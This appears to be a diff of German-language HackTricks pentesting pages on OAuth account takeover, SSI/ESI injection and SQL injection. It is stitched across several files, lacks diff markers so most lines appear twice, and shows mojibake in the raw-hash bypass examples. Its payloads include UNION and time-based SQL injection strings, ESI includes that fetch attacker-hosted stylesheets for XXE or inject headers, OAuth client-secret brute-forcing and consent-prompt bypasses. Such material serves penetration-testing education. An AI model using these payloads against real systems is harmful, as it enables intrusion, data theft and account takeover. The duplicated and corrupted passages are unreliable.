Angreifer können dies ausnutzen, indem sie den Autorisierungsprozess abfangen, um ihr Konto mit dem Konto eines Opfers zu verknüpfen, was zu potenziellen **Kontoübernahmen** führen kann. Dies ist besonders kritisch in Anwendungen, in denen OAuth für **Authentifizierungszwecke** verwendet wird.
Echte Beispiele für diese Schwachstelle wurden in verschiedenen **CTF-Herausforderungen** und **Hacking-Plattformen** dokumentiert, die ihre praktischen Auswirkungen hervorheben. Das Problem erstreckt sich auch auf Integrationen mit Drittanbieterdiensten wie **Slack**, **Stripe** und **PayPal**, bei denen Angreifer Benachrichtigungen oder Zahlungen auf ihre Konten umleiten können.
Die ordnungsgemäße Handhabung und Validierung des **`state`-Parameters** ist entscheidend, um sich gegen CSRF zu schützen und den OAuth-Fluss abzusichern.
Eine ordnungsgemäße Handhabung und Validierung des **`state`-Parameters** ist entscheidend, um sich gegen CSRF zu schützen und den OAuth-Fluss abzusichern.
### Vor der Kontoübernahme <a href="#ebe4" id="ebe4"></a>
1. **Ohne E-Mail-Verifizierung bei der Kontoerstellung**: Angreifer können proaktiv ein Konto mit der E-Mail des Opfers erstellen. Wenn das Opfer später einen Drittanbieterdienst für die Anmeldung verwendet, könnte die Anwendung versehentlich dieses Drittanbieter-Konto mit dem vorab erstellten Konto des Angreifers verknüpfen, was zu unbefugtem Zugriff führt.
1. **Ohne E-Mail-Verifizierung bei der Kontoerstellung**: Angreifer können proaktiv ein Konto mit der E-Mail des Opfers erstellen. Wenn das Opfer später einen Drittanbieterdienst für die Anmeldung verwendet, könnte die Anwendung versehentlich dieses Drittanbieter-Konto mit dem vom Angreifer erstellten Konto verknüpfen, was zu unbefugtem Zugriff führt.
2. **Ausnutzung laxen OAuth-E-Mail-Verifizierung**: Angreifer können OAuth-Dienste ausnutzen, die E-Mails nicht verifizieren, indem sie sich bei ihrem Dienst registrieren und dann die Kontoe-Mail auf die des Opfers ändern. Diese Methode birgt ähnlich das Risiko eines unbefugten Zugriffs auf das Konto, ähnlich dem ersten Szenario, jedoch über einen anderen Angriffsvektor.
### Offenlegung von Geheimnissen <a href="#e177" id="e177"></a>
Die Identifizierung und der Schutz geheimer OAuth-Parameter sind entscheidend. Während die **`client_id`** sicher offengelegt werden kann, birgt die Offenlegung des **`client_secret`** erhebliche Risiken. Wenn das `client_secret` kompromittiert wird, können Angreifer die Identität und das Vertrauen der Anwendung ausnutzen, um **Benutzer-`access_tokens`** und private Informationen zu **stehlen**.
Eine häufige Schwachstelle entsteht, wenn Anwendungen fälschlicherweise den Austausch des Autorisierungs-`codes` gegen ein `access_token` auf der Client-Seite anstelle der Server-Seite behandeln. Dieser Fehler führt zur Offenlegung des `client_secret`, was es Angreifern ermöglicht, `access_tokens` im Namen der Anwendung zu generieren. Darüber hinaus könnten Angreifer durch Social Engineering Privilegien erhöhen, indem sie zusätzliche Scopes zur OAuth-Autorisierung hinzufügen und so den vertrauenswürdigen Status der Anwendung weiter ausnutzen.
Eine häufige Schwachstelle entsteht, wenn Anwendungen fälschlicherweise den Austausch des Autorisierungscodes gegen ein `access_token` auf der Client-Seite anstelle der Server-Seite behandeln. Dieser Fehler führt zur Offenlegung des `client_secret`, was es Angreifern ermöglicht, `access_tokens` im Namen der Anwendung zu generieren. Darüber hinaus könnten Angreifer durch Social Engineering Privilegien erhöhen, indem sie zusätzliche Scopes zur OAuth-Autorisierung hinzufügen und so den vertrauenswürdigen Status der Anwendung weiter ausnutzen.
### Client Secret Bruteforce
@ -103,9 +104,9 @@ Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
```
### Referer-Header leakt Code + State
### Referer-Header leckt Code + Status
Sobald der Client den **Code und State** hat, wenn er **im Referer-Header reflektiert wird**, während er zu einer anderen Seite browsed, ist er anfällig.
Sobald der Client den **Code und Status** hat, wenn er **im Referer-Header reflektiert wird**, während er zu einer anderen Seite navigiert, ist er anfällig.
### Zugriffstoken im Browserverlauf gespeichert
@ -119,7 +120,7 @@ Der **Autorisierungscode sollte nur für eine gewisse Zeit gültig sein, um das
Wenn du den **Autorisierungscode erhalten und ihn mit einem anderen Client verwenden kannst, kannst du andere Konten übernehmen**.
### Glückliche Pfade, XSS, Iframes & Post-Nachrichten zum Leaken von Code- & State-Werten
### Glückliche Pfade, XSS, Iframes & Post-Nachrichten zum Lecken von Code- & Statuswerten
[**Überprüfe diesen Beitrag**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
@ -144,7 +145,9 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
```
Für detailliertere Informationen darüber, wie man AWS Cognito missbrauchen kann, siehe:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
{{#endref}}
### Missbrauch anderer App-Token <a href="#bda5" id="bda5"></a>
@ -159,19 +162,19 @@ Das liegt daran, dass ein **Angreifer** eine **Anwendung, die OAuth unterstützt
Laut [**diesem Bericht**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) war es möglich, ein Opfer dazu zu bringen, eine Seite mit einem **returnUrl** zu öffnen, die auf den Host des Angreifers zeigt. Diese Informationen würden **in einem Cookie (RU)** gespeichert und in einem **späteren Schritt** wird die **Eingabeaufforderung** den **Benutzer** fragen, ob er den Zugriff auf den Host des Angreifers gewähren möchte.
Um diese Eingabeaufforderung zu umgehen, war es möglich, einen Tab zu öffnen, um den **OAuth-Flow** zu initiieren, der dieses RU-Cookie mit der **returnUrl** setzen würde, den Tab zu schließen, bevor die Eingabeaufforderung angezeigt wird, und einen neuen Tab ohne diesen Wert zu öffnen. Dann wird die **Eingabeaufforderung nicht über den Host des Angreifers informieren**, aber das Cookie würde auf ihn gesetzt, sodass das **Token an den Host des Angreifers** in der Umleitung gesendet wird.
Um diese Eingabeaufforderung zu umgehen, war es möglich, einen Tab zu öffnen, um den **Oauth-Flow** zu initiieren, der dieses RU-Cookie mit der **returnUrl** setzen würde, den Tab zu schließen, bevor die Eingabeaufforderung angezeigt wird, und einen neuen Tab ohne diesen Wert zu öffnen. Dann wird die **Eingabeaufforderung nicht über den Host des Angreifers informieren**, aber das Cookie würde auf ihn gesetzt, sodass das **Token an den Host des Angreifers** in der Umleitung gesendet wird.
### Eingabeaufforderung Interaktionsumgehung <a href="#bda5" id="bda5"></a>
### Eingabeaufforderungs-Interaktionsumgehung <a href="#bda5" id="bda5"></a>
Wie in [**diesem Video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q) erklärt, erlauben einige OAuth-Implementierungen, den **`prompt`** GET-Parameter als None (**`&prompt=none`**) anzugeben, um **zu verhindern, dass Benutzer gefragt werden, ob sie den gegebenen Zugriff** in einer Eingabeaufforderung im Web bestätigen möchten, wenn sie bereits in der Plattform angemeldet sind.
Wie in [**diesem Video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q) erklärt, erlauben einige OAuth-Implementierungen, den **`prompt`** GET-Parameter als None (**`&prompt=none`**) anzugeben, um **zu verhindern, dass Benutzer gefragt werden, ob sie den gegebenen Zugriff** in einer Eingabeaufforderung im Web bestätigen, wenn sie bereits in der Plattform angemeldet sind.
### response_mode
Wie [**in diesem Video erklärt**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), könnte es möglich sein, den Parameter **`response_mode`** anzugeben, um zu bestimmen, wo der Code in der endgültigen URL bereitgestellt werden soll:
- `response_mode=query` -> Der Code wird innerhalb eines GET-Parameters bereitgestellt: `?code=2397rf3gu93f`
- `response_mode=fragment` -> Der Code wird innerhalb des URL-Fragmentparameters `#code=2397rf3gu93f` bereitgestellt
- `response_mode=form_post` -> Der Code wird innerhalb eines POST-Formulars mit einem Eingabefeld namens `code` und dem Wert bereitgestellt
- `response_mode=query` -> Der Code wird in einem GET-Parameter bereitgestellt: `?code=2397rf3gu93f`
- `response_mode=fragment` -> Der Code wird im URL-Fragmentparameter `#code=2397rf3gu93f` bereitgestellt
- `response_mode=form_post` -> Der Code wird in einem POST-Formular mit einem Eingabefeld namens `code` und dem Wert bereitgestellt
- `response_mode=web_message` -> Der Code wird in einer Post-Nachricht gesendet: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC-Flow - 2 FA-Umgehung <a href="#b440" id="b440"></a>
@ -184,8 +187,8 @@ Dieser [**Blogbeitrag**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)
1. Das Opfer greift auf die Webseite des Angreifers zu
2. Das Opfer öffnet den bösartigen Link und ein Opener startet den Google OAuth-Flow mit `response_type=id_token,code&prompt=none` als zusätzliche Parameter unter Verwendung der **Referrer-Website des Angreifers**.
3. Im Opener, nachdem der Anbieter das Opfer autorisiert hat, sendet er sie zurück zum Wert des `redirect_uri`-Parameters (Opfer-Web) mit einem 30X-Code, der die Website des Angreifers im Referrer beibehält.
4. Die **Website des Opfers löst die offene Umleitung basierend auf dem Referrer aus**, die den Benutzer des Opfers zur Website des Angreifers umleitet, da der **`response_type`** **`id_token,code`** war, wird der Code im **Fragment** der URL an den Angreifer zurückgesendet, was ihm ermöglicht, das Konto des Benutzers über Google auf der Website des Opfers zu übernehmen.
3. Im Opener, nachdem der Anbieter das Opfer autorisiert hat, sendet er es zurück zum Wert des `redirect_uri`-Parameters (Opfer-Webseite) mit einem 30X-Code, der die Webseite des Angreifers im Referrer beibehält.
4. Die **Webseite des Opfers löst die offene Umleitung basierend auf dem Referrer aus**, indem sie den Benutzer des Opfers zur Webseite des Angreifers umleitet, da der **`response_type`** **`id_token,code`** war, wird der Code im **Fragment** der URL an den Angreifer zurückgesendet, was ihm ermöglicht, das Konto des Benutzers über Google auf der Webseite des Opfers zu übernehmen.
### SSRFs-Parameter <a href="#bda5" id="bda5"></a>
@ -199,8 +202,8 @@ Die dynamische Client-Registrierung in OAuth dient als weniger offensichtlicher,
- Diese Funktion entspricht den in **RFC7591** und **OpenID Connect Registration 1.0** festgelegten Spezifikationen, die Parameter enthalten, die potenziell anfällig für SSRF sind.
- Der Registrierungsprozess kann unbeabsichtigt Server in mehreren Weisen SSRF aussetzen:
- **`logo_uri`**: Eine URL für das Logo der Client-Anwendung, die möglicherweise vom Server abgerufen wird, was SSRF auslösen oder zu XSS führen kann, wenn die URL falsch behandelt wird.
- **`jwks_uri`**: Eine URL zum JWK-Dokument des Clients, die, wenn sie bösartig gestaltet ist, den Server dazu bringen kann, ausgehende Anfragen an einen vom Angreifer kontrollierten Server zu stellen.
- **`sector_identifier_uri`**: Verweist auf ein JSON-Array von `redirect_uris`, die der Server abrufen könnte, was eine SSRF-Möglichkeit schafft.
- **`jwks_uri`**: Eine URL zum JWK-Dokument des Clients, die, wenn bösartig erstellt, den Server dazu bringen kann, ausgehende Anfragen an einen vom Angreifer kontrollierten Server zu senden.
- **`sector_identifier_uri`**: Verweist auf ein JSON-Array von `redirect_uris`, das der Server abrufen könnte und somit eine SSRF-Möglichkeit schafft.
- **`request_uris`**: Listet erlaubte Anfrage-URIs für den Client auf, die ausgenutzt werden können, wenn der Server diese URIs zu Beginn des Autorisierungsprozesses abruft.
**Ausbeutungsstrategie:**
@ -217,5 +220,4 @@ Wenn die Plattform, die Sie testen, ein OAuth-Anbieter ist, [**lesen Sie dies, u
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
{{#include ../banners/hacktricks-training.md}}

14
src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
View File

@ -15,7 +15,7 @@ Und wenn die Seite bereitgestellt wird, wird dieses Fragment ausgewertet und dur
`Dienstag, 15-Jan-2013 19:28:54 EST`
Die Entscheidung, wann SSI verwendet werden soll und wann Ihre Seite vollständig von einem Programm generiert werden soll, hängt normalerweise davon ab, wie viel der Seite statisch ist und wie viel jedes Mal neu berechnet werden muss, wenn die Seite bereitgestellt wird. SSI ist eine großartige Möglichkeit, kleine Informationsstücke hinzuzufügen, wie die aktuelle Zeit - wie oben gezeigt. Aber wenn der Großteil Ihrer Seite zum Zeitpunkt der Bereitstellung generiert wird, müssen Sie nach einer anderen Lösung suchen.
Die Entscheidung, wann SSI verwendet werden soll und wann die gesamte Seite von einem Programm generiert werden soll, hängt normalerweise davon ab, wie viel der Seite statisch ist und wie viel jedes Mal neu berechnet werden muss, wenn die Seite bereitgestellt wird. SSI ist eine großartige Möglichkeit, kleine Informationsstücke hinzuzufügen, wie die aktuelle Zeit - wie oben gezeigt. Aber wenn der Großteil Ihrer Seite zum Zeitpunkt der Bereitstellung generiert wird, müssen Sie nach einer anderen Lösung suchen.
Sie können das Vorhandensein von SSI ableiten, wenn die Webanwendung Dateien mit der Erweiterung&#x73;**`.shtml`, `.shtm` oder `.stm`** verwendet, aber das ist nicht der einzige Fall.
@ -61,7 +61,7 @@ Wenn ein **Angreifer** in der Lage ist, **ein ESI-Tag** in den Cache-Inhalt einz
### ESI Detection
Der folgende **Header** in einer Antwort vom Server bedeutet, dass der Server ESI verwendet:
Die folgende **Header** in einer Antwort vom Server bedeutet, dass der Server ESI verwendet:
```
Surrogate-Control: content="ESI/1.0"
```
@ -146,7 +146,7 @@ Verwechseln Sie dies nicht mit einer "Local File Inclusion":
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Offene Weiterleitung
#### Open Redirect
Das Folgende wird einen `Location`-Header zur Antwort hinzufügen
```bash
@ -183,7 +183,7 @@ Dies sendet Debug-Informationen, die in der Antwort enthalten sind:
```
### ESI + XSLT = XXE
Es ist möglich, die **`eXtensible Stylesheet Language Transformations (XSLT)`** Syntax in ESI zu verwenden, indem der Parameter **`dca`** Wert als **`xslt`** angegeben wird. Dies könnte es ermöglichen, **XSLT** zu missbrauchen, um eine XML External Entity-Schwachstelle (XXE) zu erstellen und auszunutzen:
Es ist möglich, die **`eXtensible Stylesheet Language Transformations (XSLT)`** Syntax in ESI zu verwenden, indem der Parameter **`dca`** Wert als **`xslt`** angegeben wird. Dies könnte es ermöglichen, **XSLT** zu missbrauchen, um eine XML External Entity Schwachstelle (XXE) zu erstellen und auszunutzen:
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
@ -205,8 +205,10 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## Brute-Force-Erkennungsliste
## Brute-Force-Erkennungs-Liste
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

56
src/pentesting-web/sql-injection/README.md
View File

@ -4,7 +4,7 @@
## Was ist SQL-Injection?
Eine **SQL-Injection** ist eine Sicherheitsanfälligkeit, die es Angreifern ermöglicht, **Datenbankabfragen** einer Anwendung zu **beeinflussen**. Diese Schwachstelle kann Angreifern ermöglichen, **Daten zu sehen**, **zu ändern** oder **zu löschen**, auf die sie keinen Zugriff haben sollten, einschließlich Informationen anderer Benutzer oder aller Daten, auf die die Anwendung zugreifen kann. Solche Aktionen können zu dauerhaften Änderungen an der Funktionalität oder dem Inhalt der Anwendung führen oder sogar zu einer Kompromittierung des Servers oder einem Denial of Service.
Eine **SQL-Injection** ist ein Sicherheitsfehler, der Angreifern ermöglicht, **Datenbankabfragen** einer Anwendung zu **beeinflussen**. Diese Schwachstelle kann Angreifern erlauben, **Daten zu sehen**, **zu ändern** oder **zu löschen**, auf die sie keinen Zugriff haben sollten, einschließlich Informationen anderer Benutzer oder aller Daten, auf die die Anwendung zugreifen kann. Solche Aktionen können zu dauerhaften Änderungen an der Funktionalität oder dem Inhalt der Anwendung führen oder sogar zu einer Kompromittierung des Servers oder einem Denial of Service.
## Erkennung von Einstiegspunkten
@ -53,7 +53,7 @@ HQL does not support comments
```
### Bestätigen mit logischen Operationen
Eine zuverlässige Methode zur Bestätigung einer SQL-Injection-Schwachstelle besteht darin, eine **logische Operation** auszuführen und die erwarteten Ergebnisse zu beobachten. Zum Beispiel zeigt ein GET-Parameter wie `?username=Peter`, der identische Inhalte liefert, wenn er auf `?username=Peter' or '1'='1` geändert wird, eine SQL-Injection-Schwachstelle an.
Eine zuverlässige Methode zur Bestätigung einer SQL-Injection-Schwachstelle besteht darin, eine **logische Operation** auszuführen und die erwarteten Ergebnisse zu beobachten. Zum Beispiel deutet ein GET-Parameter wie `?username=Peter`, der identische Inhalte liefert, wenn er auf `?username=Peter' or '1'='1` geändert wird, auf eine SQL-Injection-Schwachstelle hin.
Ebenso dient die Anwendung von **mathematischen Operationen** als effektive Bestätigungstechnik. Wenn beispielsweise der Zugriff auf `?id=1` und `?id=2-1` dasselbe Ergebnis liefert, ist dies ein Hinweis auf SQL-Injection.
@ -71,7 +71,7 @@ Diese Wortliste wurde erstellt, um **SQL-Injektionen** auf die vorgeschlagene We
### Bestätigung mit Timing
In einigen Fällen **werden Sie keine Änderung** auf der Seite bemerken, die Sie testen. Daher ist eine gute Möglichkeit, **blinde SQL-Injektionen** zu **entdecken**, die DB dazu zu bringen, Aktionen auszuführen, die einen **Einfluss auf die Zeit** haben, die die Seite zum Laden benötigt.\
Daher werden wir in der SQL-Abfrage eine Operation anhängen, die viel Zeit in Anspruch nehmen wird:
Daher werden wir in der SQL-Abfrage eine Operation concatenieren, die viel Zeit in Anspruch nehmen wird, um abgeschlossen zu werden:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -97,7 +97,7 @@ In einigen Fällen werden die **Sleep-Funktionen nicht erlaubt sein**. Statt die
### Identifizierung des Back-ends
Der beste Weg, um das Back-end zu identifizieren, besteht darin, Funktionen der verschiedenen Back-ends auszuführen. Sie könnten die _**Sleep**_ **Funktionen** aus dem vorherigen Abschnitt oder diese verwenden (Tabelle von [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
Der beste Weg, um das Back-end zu identifizieren, besteht darin, Funktionen der verschiedenen Back-ends auszuführen. Sie könnten die _**Sleep**_ **Funktionen** aus dem vorherigen Abschnitt oder diese hier verwenden (Tabelle von [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -128,11 +128,13 @@ Der beste Weg, um das Back-end zu identifizieren, besteht darin, Funktionen der
Auch wenn Sie Zugriff auf die Ausgabe der Abfrage haben, könnten Sie **die Version der Datenbank ausgeben lassen**.
> [!NOTE]
> In der Fortsetzung werden wir verschiedene Methoden zur Ausnutzung verschiedener Arten von SQL-Injection diskutieren. Wir werden MySQL als Beispiel verwenden.
> In einer Fortsetzung werden wir verschiedene Methoden zur Ausnutzung verschiedener Arten von SQL-Injection diskutieren. Wir werden MySQL als Beispiel verwenden.
### Identifizierung mit PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## Ausnutzung von Union Based
@ -168,7 +170,7 @@ Wählen Sie immer mehr null-Werte aus, bis die Abfrage korrekt ist:
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_You sollten `null`-Werte verwenden, da in einigen Fällen der Typ der Spalten auf beiden Seiten der Abfrage gleich sein muss und null in jedem Fall gültig ist._
_Man sollte `null`-Werte verwenden, da in einigen Fällen der Typ der Spalten auf beiden Seiten der Abfrage gleich sein muss und null in jedem Fall gültig ist._
### Datenbanknamen, Tabellennamen und Spaltennamen extrahieren
@ -183,19 +185,19 @@ In den nächsten Beispielen werden wir den Namen aller Datenbanken, den Tabellen
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Es gibt einen anderen Weg, um diese Daten in jeder verschiedenen Datenbank zu entdecken, aber die Methodik bleibt immer gleich._
_Es gibt einen anderen Weg, um diese Daten in jeder verschiedenen Datenbank zu entdecken, aber es ist immer die gleiche Methodik._
## Ausnutzen von versteckten Union-basierten
## Ausnutzen von verstecktem Union-basiertem
Wenn die Ausgabe einer Abfrage sichtbar ist, aber eine union-basierte Injektion unerreichbar scheint, deutet dies auf das Vorhandensein einer **versteckten union-basierten Injektion** hin. Dieses Szenario führt oft zu einer blinden Injektionssituation. Um eine blinde Injektion in eine union-basierte umzuwandeln, muss die Ausführungsabfrage im Backend erkannt werden.
Wenn die Ausgabe einer Abfrage sichtbar ist, aber eine union-basierte Injektion unerreichbar scheint, deutet dies auf das Vorhandensein einer **versteckten union-basierten Injektion** hin. Dieses Szenario führt oft zu einer blinden Injektionssituation. Um eine blinde Injektion in eine union-basierte zu verwandeln, muss die Ausführungsabfrage im Backend erkannt werden.
Dies kann durch die Verwendung von Techniken zur blinden Injektion zusammen mit den Standardtabellen, die spezifisch für Ihr Ziel-Datenbankmanagementsystem (DBMS) sind, erreicht werden. Um diese Standardtabellen zu verstehen, wird empfohlen, die Dokumentation des Ziel-DBMS zu konsultieren.
Sobald die Abfrage extrahiert wurde, ist es notwendig, Ihr Payload so anzupassen, dass die ursprüngliche Abfrage sicher geschlossen wird. Anschließend wird eine Union-Abfrage an Ihr Payload angehängt, um die Ausnutzung der neu zugänglichen union-basierten Injektion zu ermöglichen.
Für umfassendere Einblicke verweisen Sie auf den vollständigen Artikel, der unter [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) verfügbar ist.
Für umfassendere Einblicke, siehe den vollständigen Artikel unter [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Ausnutzen von Fehler-basierten
## Ausnutzen von Fehler-basiertem
Wenn Sie aus irgendeinem Grund die **Ausgabe** der **Abfrage** **nicht** sehen können, aber die **Fehlermeldungen** sehen können, können Sie diese Fehlermeldungen verwenden, um Daten aus der Datenbank zu **exfiltrieren**.\
Folgen Sie einem ähnlichen Ablauf wie bei der Union-basierten Ausnutzung, um die DB zu dumpen.
@ -211,7 +213,7 @@ In diesem Fall können Sie dieses Verhalten ausnutzen, um die Datenbank Zeichen
```
## Ausnutzen von Error Blind SQLi
Dies ist der **gleiche Fall wie zuvor**, aber anstatt zwischen einer wahren/falschen Antwort aus der Abfrage zu unterscheiden, können Sie **zwischen** einem **Fehler** in der SQL-Abfrage oder nicht unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher können Sie in diesem Fall jedes Mal einen SQL-Fehler erzwingen, wenn Sie das Zeichen richtig erraten:
Dies ist der **gleiche Fall wie zuvor**, aber anstatt zwischen einer wahren/falschen Antwort der Abfrage zu unterscheiden, können Sie **zwischen** einem **Fehler** in der SQL-Abfrage oder nicht unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher können Sie in diesem Fall jedes Mal einen SQL-Fehler erzwingen, wenn Sie das Zeichen richtig erraten:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
@ -223,7 +225,7 @@ In diesem Fall **gibt es** keine Möglichkeit, die **Antwort** der Abfrage basie
```
## Stacked Queries
Sie können gestapelte Abfragen verwenden, um **mehrere Abfragen nacheinander auszuführen**. Beachten Sie, dass während die nachfolgenden Abfragen ausgeführt werden, die **Ergebnisse** **nicht an die Anwendung zurückgegeben** werden. Daher ist diese Technik hauptsächlich im Zusammenhang mit **blinden Schwachstellen** nützlich, bei denen Sie eine zweite Abfrage verwenden können, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.
Sie können gestapelte Abfragen verwenden, um **mehrere Abfragen nacheinander auszuführen**. Beachten Sie, dass während die nachfolgenden Abfragen ausgeführt werden, die **Ergebnisse** **nicht an die Anwendung zurückgegeben werden**. Daher ist diese Technik hauptsächlich im Zusammenhang mit **blinden Schwachstellen** nützlich, bei denen Sie eine zweite Abfrage verwenden können, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.
**Oracle** unterstützt **gestapelte Abfragen** nicht. **MySQL, Microsoft** und **PostgreSQL** unterstützen sie: `QUERY-1-HERE; QUERY-2-HERE`
@ -255,7 +257,7 @@ Oder Sie finden **eine Menge Tricks zu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite
## Authentifizierungsumgehung
Liste zum Versuch, die Anmeldefunktionalität zu umgehen:
Liste, um die Anmeldefunktionalität zu umgehen:
{{#ref}}
../login-bypass/sql-login-bypass.md
@ -265,7 +267,7 @@ Liste zum Versuch, die Anmeldefunktionalität zu umgehen:
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Diese Abfrage zeigt eine Schwachstelle, wenn MD5 mit true für Rohdaten in Authentifizierungsprüfungen verwendet wird, wodurch das System anfällig für SQL-Injection wird. Angreifer können dies ausnutzen, indem sie Eingaben erstellen, die, wenn sie gehasht werden, unerwartete Teile von SQL-Befehlen erzeugen, was zu unbefugtem Zugriff führt.
Diese Abfrage zeigt eine Schwachstelle, wenn MD5 mit true für Rohausgabe in Authentifizierungsprüfungen verwendet wird, wodurch das System anfällig für SQL-Injection wird. Angreifer können dies ausnutzen, indem sie Eingaben erstellen, die, wenn sie gehasht werden, unerwartete Teile von SQL-Befehlen erzeugen, was zu unbefugtem Zugriff führt.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -308,15 +310,15 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Dazu sollten Sie versuchen, **ein neues Objekt mit dem Namen des "Master-Objekts"** (wahrscheinlich **admin** im Falle von Benutzern) zu erstellen, indem Sie etwas ändern:
- Benutzer mit dem Namen erstellen: **AdMIn** (Groß- und Kleinbuchstaben)
- Einen Benutzer mit dem Namen erstellen: **admin=**
- **SQL Truncation Attack** (wenn es eine Art von **Längenbeschränkung** im Benutzernamen oder der E-Mail gibt) --> Benutzer mit dem Namen erstellen: **admin \[viele Leerzeichen] a**
- Erstellen Sie einen Benutzer mit dem Namen: **AdMIn** (Groß- und Kleinbuchstaben)
- Erstellen Sie einen Benutzer mit dem Namen: **admin=**
- **SQL Truncation Attack** (wenn es eine Art von **Längenbeschränkung** im Benutzernamen oder in der E-Mail gibt) --> Erstellen Sie einen Benutzer mit dem Namen: **admin \[viele Leerzeichen] a**
#### SQL Truncation Attack
Wenn die Datenbank anfällig ist und die maximale Anzahl von Zeichen für den Benutzernamen beispielsweise 30 beträgt und Sie den Benutzer **admin** impersonieren möchten, versuchen Sie, einen Benutzernamen mit dem Namen: "_admin \[30 Leerzeichen] a_" und einem beliebigen Passwort zu erstellen.
Die Datenbank wird **überprüfen**, ob der eingegebene **Benutzername** **in** der Datenbank **existiert**. Wenn **nicht**, wird sie den **Benutzernamen** auf die **maximal erlaubte Anzahl von Zeichen** (in diesem Fall auf: "_admin \[25 Leerzeichen]_") **kürzen** und dann wird sie **automatisch alle Leerzeichen am Ende entfernen und** den Benutzer "**admin**" in der Datenbank mit dem **neuen Passwort** aktualisieren (einige Fehler könnten auftreten, aber das bedeutet nicht, dass es nicht funktioniert hat).
Die Datenbank wird **überprüfen**, ob der eingegebene **Benutzername** **in** der Datenbank **existiert**. Wenn **nicht**, wird sie den **Benutzernamen** auf die **maximal erlaubte Anzahl von Zeichen** (in diesem Fall auf: "_admin \[25 Leerzeichen]_") **kürzen** und dann wird sie **automatisch alle Leerzeichen am Ende entfernen, indem sie** den Benutzer "**admin**" in der Datenbank mit dem **neuen Passwort** aktualisiert (einige Fehler könnten auftreten, aber das bedeutet nicht, dass es nicht funktioniert hat).
Weitere Informationen: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
@ -332,7 +334,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
Die `ON DUPLICATE KEY UPDATE`-Klausel in MySQL wird verwendet, um Aktionen anzugeben, die die Datenbank ausführen soll, wenn ein Versuch unternommen wird, eine Zeile einzufügen, die zu einem doppelten Wert in einem UNIQUE-Index oder PRIMARY KEY führen würde. Das folgende Beispiel zeigt, wie diese Funktion ausgenutzt werden kann, um das Passwort eines Administratorkontos zu ändern:
Beispiel-Payload-Injektion:
Beispiel Payload-Injektion:
Eine Injektions-Payload könnte wie folgt erstellt werden, wobei versucht wird, zwei Zeilen in die `users`-Tabelle einzufügen. Die erste Zeile ist eine Ablenkung, und die zweite Zeile zielt auf die E-Mail eines bestehenden Administrators ab, mit der Absicht, das Passwort zu aktualisieren:
```sql
